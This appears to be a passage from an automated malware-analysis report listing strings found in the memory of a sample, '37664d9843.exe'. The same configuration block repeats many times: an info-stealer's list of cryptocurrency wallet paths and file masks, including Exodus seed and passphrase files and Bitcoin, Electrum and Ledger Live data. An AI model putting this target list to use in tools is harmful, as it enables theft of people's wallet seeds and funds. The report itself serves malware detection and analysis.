Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000002041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local 